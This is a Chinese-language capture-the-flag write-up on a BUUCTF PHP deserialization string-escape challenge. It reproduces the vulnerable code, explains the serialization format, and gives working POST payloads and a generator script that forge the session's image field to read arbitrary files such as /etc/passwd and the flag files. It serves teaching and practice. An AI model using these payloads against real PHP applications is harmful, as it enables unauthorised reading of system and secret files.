題目來自buuctf,這是一題關于php序列化逃逸的題
1. 題目
題目給出的代碼
<?php$function = @$_GET['f'];function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}if($_SESSION){unset($_SESSION);
}$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;extract($_POST);if(!$function){echo '<a href="index.php?f=highlight_file">source_code</a>';
}if(!$_GET['img_path']){$_SESSION['img'] = base64_encode('guest_img.png');
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}$serialize_info = filter(serialize($_SESSION));if($function == 'highlight_file'){highlight_file('index.php');
}else if($function == 'phpinfo'){eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));
}
2. 分析
extract($_POST); # 導入變量$_SESSION['img'] = base64_encode('guest_img.png'); # 改變SESSION[img]=一個固定值$serialize_info = filter(serialize($_SESSION)); # 序列化SESSION + 過濾,這里造成逃逸$userinfo = unserialize($serialize_info); # 反序列化echo file_get_contents(base64_decode($userinfo['img'])); # base64解碼并讀取內容
可以看出是通過$_SESSION['img']來讀取文件
extract可以將數組中的變量導入當前變量表
也就是說我們可以偽造$_SESSION 數組中的所有數據
_SESSION[user]=123&_SESSION[function]=456
因為extract是在
$_SESSION["user"] = 'guest'
;
$_SESSION['function'] = $function;
這兩條語句后調用的,所有會覆蓋里面的變量,但是后面的 $_SESSION[‘img’]覆蓋不了
所以我們需要利用filter
函數
他將一些關鍵字進行了置空,也就是從這里發生的逃逸
3. 構造參數
如果你對php序列化的格式不了解,那么你需要先學習一下,這里我粗略講一下
echo serialize(["a"=>"b","c"=>"d"]);a:2:{s:1:"a";s:1:"b";s:1:"c";s:1:"d";}
比如序列化一個列表
上面第一個字符 a 表示array(數組)
每個字段由:
分隔,后面的2表示這個列表的大小為2
{}里面的內容就是數組的內容了,數組包含鍵值
s代表字符串,后面1表示這個字符串長度為1,"a"就是它的內容了
;
表示結束,里面4個字符串,也就是兩對鍵值對
既然filter能將內容制空,那我們可以做出以下利用
_SESSION[a]=phpflagflagflagflagflagflagflagflagflagflagflagflagflag&_SESSION[img]=1&_SESSION[exp]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";i:0;i:1;}
我們傳遞的post參數最終會變成這樣
"a:3:{s:1:"a";s:55:"";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";s:3:"exp";s:40:";s:3:"img";s:12:"d2xiIGlzIG5i";i:0;i:1;}";}"
我們傳遞的_SESSION[a]在序列化后會全部被置空,但是!我們的字符串長度還在,就會造成后面的內容被當成字符串
構造只夠長的字符串長度,將_SESSION[img]里面的內容掠過,一直覆蓋到我們_SESSION[exp]中的內容
可以看出,_SESSION[exp]
里面有一個偽造的img內容,通過這種方式,就可以構造任意的_SESSION[img]字段,讀取任意文件
后面 的i:0;i:1
, i代表數字,0代表鍵,就是0,值也是數字,值為1,索引為0,值為1
echo serialize([1]);a:1:{i:0;i:1;}
因為我們覆蓋了一個鍵值對,所以我們需要補充回去,遇到}
時就停止檢測了,即使后面還有字符串
這里寫了個腳本,使用 php 腳本.php
即可執行
<?php
$e = "/etc/passwd"; # 這里填寫需要讀取的文件
$e = base64_encode($e);
echo '_SESSION[a]=phpflagflagflagflagflagflagflagflagflagflagflagflagflag&_SESSION[img]=1&_SESSION[exp]=';
echo ';s:3:"img";s:'.strlen($e).':"'.$e.'";i:0;i:1;}';
這里傳遞 phpinfo 這個值可以執行phpinfo()查看php信息
可以看到一個文件 d0g3_f1ag.php
通過讀取這個文件拿到flag
_SESSION[a]=phpflagflagflagflagflagflagflagflagflagflagflagflagflag&_SESSION[img]=1&_SESSION[exp]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";i:0;i:1;}
再讀取 /d0g3_fllllllag
文件
_SESSION[a]=phpflagflagflagflagflagflagflagflagflagflagflagflagflag&_SESSION[img]=1&_SESSION[exp]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";i:0;i:1;}
拿下flag